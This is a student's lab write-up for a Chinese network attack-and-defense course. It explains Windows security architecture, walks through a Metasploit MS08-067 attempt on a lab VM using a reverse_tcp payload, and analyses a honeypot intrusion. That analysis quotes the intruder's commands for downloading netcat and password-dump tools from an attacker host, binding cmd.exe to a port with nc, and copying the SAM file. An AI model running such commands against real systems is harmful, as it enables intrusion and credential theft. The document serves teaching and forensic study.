20199133 2019-2020-2 《网络攻防实践》第七周作业
20199133 2019-2020-2 《网络攻防实践》第七周作业
这个作业属于哪个课程 | 《网络攻防实践》 |
---|---|
这个作业的要求在哪里 | 网络攻防第七周作业 |
我在这个课程的目标是 | 学习和了解各类对Windows系统的攻击技术的原理和防范措施,进而维护Windows系统。 |
这个作业在哪个具体方面帮助我实现目标 | 学习Windows系统框架、安全体系结构;使用metasploit软件对Windows系统进行远程渗透攻击;解码一次成功的NT系统破解攻击。 |
作业正文 | 见作业 |
其他参考文献 | 见文末 |
一.实践内容
(一)Windows操作系统基本框架
如图所示,分为运行于处理特权模式的操作系统内核,以及非特权模式的用户空间代码。
内核的基本模块包括
Windows执行体;Windows内核体;设备驱动程序;硬件抽象层;Windows窗口与图形界面接口内核实现代码;环境子系统服务进程;服务进程;用户应用软件;核心子系统DDL;Windows进程和线程管理机制;Windows内存管理机制;Windows文件管理机制;Windows注册表管理机制;Windows网络机制。
Windows网络机制如下图所示,网络组件基本模块包括:
- 各种网卡硬件的设备驱动程序。
- NDIS库和miniport驱动程序。
- TDI传输层(网络协议驱动)。
- 网络API、DLL和TDL的客户端。
- 网络应用程序与服务进程。
(二)Windows操作系统的安全体系结构与机制
1.Windows安全体系结构:Windows操作系统引用监控器模型来实现基本的对象安全模型,如图所示,所有的主体对客体的访问都是通过引用监控器作为中介。
- Windows系统安全体系结构如下图所示。
2.Windows身份认证机制:对于试图使用Windows系统的用户与远程计算机安全主体,Windows通过秘密信息(保存的口令字、登记的指纹等)来验证安全主体的真实合法身份。网络身份认证过程由LSASS服务的Netlogon模块主导完成。客户端会与服务器端进行“质询-应答式”的身份验证协议。
3.Windows授权与访问控制机制:在用户等安全主体经过认证后,Windows系统会赋予用户一个访问令牌,令牌中包括用户本身的SID、用户组SID和特权列表。Windows中可使用whoami
来查看当前用户令牌信息。
4.安全审计机制:系统审计策略在本地策略中由管理员定义,来确定哪些事件进行记录。也可作为第三方审计日志分析工具的输入数据源。
(三)Windows远程安全攻防技术
1.远程攻击可分为如下几类:远程口令猜测与破解攻击;攻击Windows网络服务;攻击Windows客户端及用户。
2.系统的安全漏洞:互联网用户所面临的安全威胁中,绝大部分是由于未能及时修补已公开的漏洞,所导致的渗透攻击和恶意代码的传播。渗透攻击包括:漏洞扫描测试—>查找渗透代码—>实施渗透攻击。
- Metasploit软件主要命令
命令 | 主要描述 |
---|---|
?/help | 显示命令帮助 |
cd | 改变当前工作目录路径 |
connect | 集成netcat的功能,可测试网络 |
check | 部分渗透模块所支持的目标系统是否存在相应漏洞。 |
exploit | 实施渗透攻击 |
quit | 退出终端 |
Search | 查找特定模块 |
Show | 查找每种模块的详细配置参数 |
set/unset | 查找每种模块的详细配置参数 |
Use | 选择使用特定的exploit、playload、encoder模块 |
3.远程口令猜测与破解攻击
- SMB(基于服务消息块)协议可以为网络用户提供远程访问文件系统与打印机支持,通常运行于TCP445与TCP139端口。远程桌面终端服务运行于TCP3389端口,只提供图形化的用户口令登录接口,因此破解更困难一些。
- 防范措施:尽量关闭不必要的开放的、易受网络攻击的网络服务;配置主机防火墙来限制网络端口的服务;对于安全级别较高的服务器,管理员可以制定强口令策略。
4.远程渗透攻击防范措施:应该尽可能快的更新软件的补丁;对安全漏洞被公布的这段时间,应暂时禁用存在网络服务的访问,来避免被攻击。通过漏洞扫描软件对已知的漏洞及时修补。
(四)Windows本地安全攻防技术
1.windows本地特权提升
- 攻击者获得系统上受限用户权限后,就会着眼于获得终极特权,主要途径有DDL注入和破解本地程序漏洞。
2.Windows敏感信息窃取
- 获得administrator权限后,攻击者将继续收集敏感信息(各种口令字)。
3.Windows消踪灭迹
- 攻击者可利用auditpol程序关闭审计功能,使用“enable”参数重启审计功能,就可以不留痕迹地退出系统。
- 攻击者获得Administrator权限后就可打开Event Log事件查看器来删除主机上的所有日志。
- 防范措施:可将日志记录上传到安全的日志服务器中;也可采用定期备份的方式来固话保存。
4.远程控制和后门程序
- 攻击者为了确保以后能方便登录系统,会在系统中建立远程控制和后门程序。
- 常用的远程控制程序有Netcat、Metasploit和图形化远程控制程序。
- 防范措施:采用后门检测软件来发现隐藏的后门程序。
二.实践过程
实践一:任务:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
-
我们使用kali作为攻击机,WindowsXPsever作为靶机
| 虚拟机 | IP地址 |
|:------------------😐:-------------------------------------------------😐
|kali|192.168.200.2|
|WindowsXPsever|192.168.200.124| -
在kali中输入
msfconsole
启动msfconsole软件。我的刚开始打不开,需要升级一下。(或者也可能是拼写错了。)
-
输入
search ms08_067
查看漏洞模块信息。发现路径是exploit/windows/smb/ms08_067_netapi。
-
使用
show payload
查看载荷信息。
-
使用MS08-067漏洞作为我们的攻击目标,输入代码
use exploit/windows/smb/ms08_067_netapi
。 -
输入
set PAYLOAD windows/meterpreter/reverse_tcp
设置打开反向连接的载荷。 -
输入命令
set LHOST 192.168.200.2
设置攻击机IP地址;输入set RHOST 192.168.200.124
设置靶机IP地址。
-
输入
exploit
实施攻击,失败。
-
此路不通行他路,换一个MS03-026漏洞攻击,方法同上,返回的值还是这样的,我更换了多次靶机结果也是这样,所有靶机和虚拟机之间都是能ping的,不知道为什么??
可能是我目前还不知道的原因吧,换了载荷也不行。
实践二:取证分析实践:解码一次成功的NT系统破解攻击
任务:来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名为:lab.wiretrip.net);回答下面的问题:
1、攻击者使用了什么破解工具进行攻击?
2、攻击者如何使用这个破解工具进入并控制了系统?
3、当攻击者获得系统的访问权后做了什么?
4、我们如何防止这样的攻击?
5、你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
(1)使用的破解工具:
- 首先用wireshark打开所给的攻击文件,根据题目输入
ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106
筛选一下有这两个IP地址的信息,发现攻击机建立连接后进行HTTP访问。
- 然后打开117这一行,发现攻击者打开了系统启动文件"boot.ini",这里有
%C0%AF
字符,%C0%AF为/的Unicode编码,这里是Unicode编码攻击。
- 在第130行、140行,我们可以看到有msadc和msadcs.dll文件,这是一个探测过程,是远程数据访问服务的文件,然后追踪149行的TCP数据流,经查询发现进行了SQL注入攻击,执行shell脚本数据为
shell ( “cmd /c echo werd >> c : \ f u n ” )
,根据ADM!ROX!YOUR!WORLD
特征字符串,表明是msadc(2).pl
工具发起的渗透攻击。
- 攻击机使用的攻击工具是msadc.pl。
(2)攻击机如何进入系统?
- 通过FTP脚本尝试在目标主机下载工具(pdump/samdump/netcat)由于记错口令失败
- 接下来我把追踪到的http数据流中的重要数据并整理如下:
SESSION:1778-80"cmd /c echo user johna2k > ftpcom"
SESSION:1780-80"cmd /c echo hacker2000 >> ftpcom"
SESSION:1782-80"cmd /c echo get samdump.dll >> ftpcom"
SESSION:1784-80"cmd /c echo get pdump.exe >> ftpcom"```
SESSION:1786-80"cmd /c echo get nc.exe >> ftpcom"
-
此处通过参考其他同学博客,知道上述指令是攻击者首先创建了一个ftpcom脚本,并使用ftp连接www.nether.net(给出了用户名密码),尝试下载一些攻击工具samdump.dll,pdump.exe,nc.exe,未能成功。
-
在Wireshark中输入ftp进行筛选,发现1106行的ftp连接成功,然后再看一下连接成功之前的指令,可以找到下面一些指令。
SESSION:1874-80copy C:\winnt\system32\cmd.exe cmd1.exe
SESSION:1875-80cmd1.exe /c open 213.116.251.162 >ftpcom"
SESSION:1876-80cmd1.exe /c echo johna2k >>ftpcom
c echo haxedj00 >>ftpcom
c echo get nc.exe >>ftpcom
c echo get pdump.exe >>ftpcom
c echo get samdump.dll >>ftpcom
c echo quit >>ftpcom
- ftp连接结束后,执行指令
c nc -l -p 6969 -e cmd1.exe
,表示攻击者连接6969端口,获得了系统的访问权。
(3)攻击者获得访问权限后做了什么?
- 在Wireshark中输入
tcp.port == 6969
,追踪tcp流;要从注册表中提取密文,但没有成功。运行net session,访问受限,执行net users,返回主机用户列表。
- 然后攻击者通过net group,net localgroup分别查看组用户、本地组用户,并查看net group domain admins,但都没有成功。
- 继续看此TCP流可以发现,攻击者想寻找并进入msadc目录,执行pdump,但是没有破解出口令密文。
- 删除了samdump.dll和pdump.exe文件。
- 执行rdisk尝试获得SAM口令文件的拷贝,将SAM文件保存为c:\har.txt文件。
- 接着再往下查看两个TCP流,发现执行
nc -l -p 6968 -e cmd1.exe
,又进行了Unicode攻击。
(4)如何防止这样的攻击
- 通过移除或删除系统内/msadc目录,同时移除C:\Program Files\Common Files\System\Msadc\msadcs.dll,或安装MDAC2.1SP2补丁(下载网址为http://www.microsoft.com/data/download.htm),并注意及时上网更新。
- 为这些漏洞打补丁;禁用用不到的RDS等服务;防火墙封禁网络内部服务器发起的连接
- 使用IIS Lackdown和URLScan等工具加强web server
(5)攻击者是否警觉攻击了蜜罐主机? - 攻击者警觉到了这是一个蜜罐主机,因为有这样一条指令。
团队对抗实践:Windows系统远程渗透攻击与分析
任务:攻击方:使用metasploit,选择metasploitable中的漏洞进行渗透攻击,获得控制权;
防御方:使用tcpdump/wireshark/snort监听获得网络攻击的数据包文件,并结合wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、攻击使用shellcode,以及攻击成功之后在本地执行的命令输入等信息。
-
攻击过程与实践一相同,开始exploit攻击后进入wireshark进行监听。
-
从抓包中可得到如下分析和结果:
攻击机IP地址192.168.200.3;目标地址192.168.200.2;
源端口34759;目标端口445;
攻击发起时间:从ARP协议的询问开始;
三.学习中遇到的问题及解决
-
问题1:在第一个实验中,不能正常使用模块,会报错。
-
问题1解决方案:后面查看了ms_08_067漏洞的信息,发现路径不一样,更新后能成功使用。
-
问题2:对第二个实践分析,刚开始不知道如何下手。
-
问题2解决方案:通过老师给的资料和网上一些学习,对IIS分析、shell命令分析有大概的了解。
-
问题3.本次实验最大的问题,任何一个虚拟机都无法ping通另一个(集体罢工了???),攻击机NET模式上不去网,所以第一个实验迟迟无法完成。
-
问题3解决方案:初步分析是密网和网卡的问题,但是就一直在那ping了试,好像换着ping就能解决问题一样,可能是想不通吧,之前都好好好的,浪费了许多时间。可能是我主机待机太久了回来启动有错误……然后重新配置了一下密网,果真存在小数点问题,还不行。最后我又把网卡删了重新添加,本来都想下一步该重装虚拟机了吧,结果就好了,能ping通了,折磨了两个晚上终于弄出来了!!!!十分开心,都快没希望了又能解决。
四.实践总结
- 关于第二个实践,分析部分学起来是真的有些难,参考老师的教材和其他同学博客,能理解一部分。
- 我觉得每次实验会出现的意外情况太多了,还是要多思考,不要一直去试。。。。
- 总结一下,只要愿意思考,不抛弃不放弃地去做,问题总会被解决!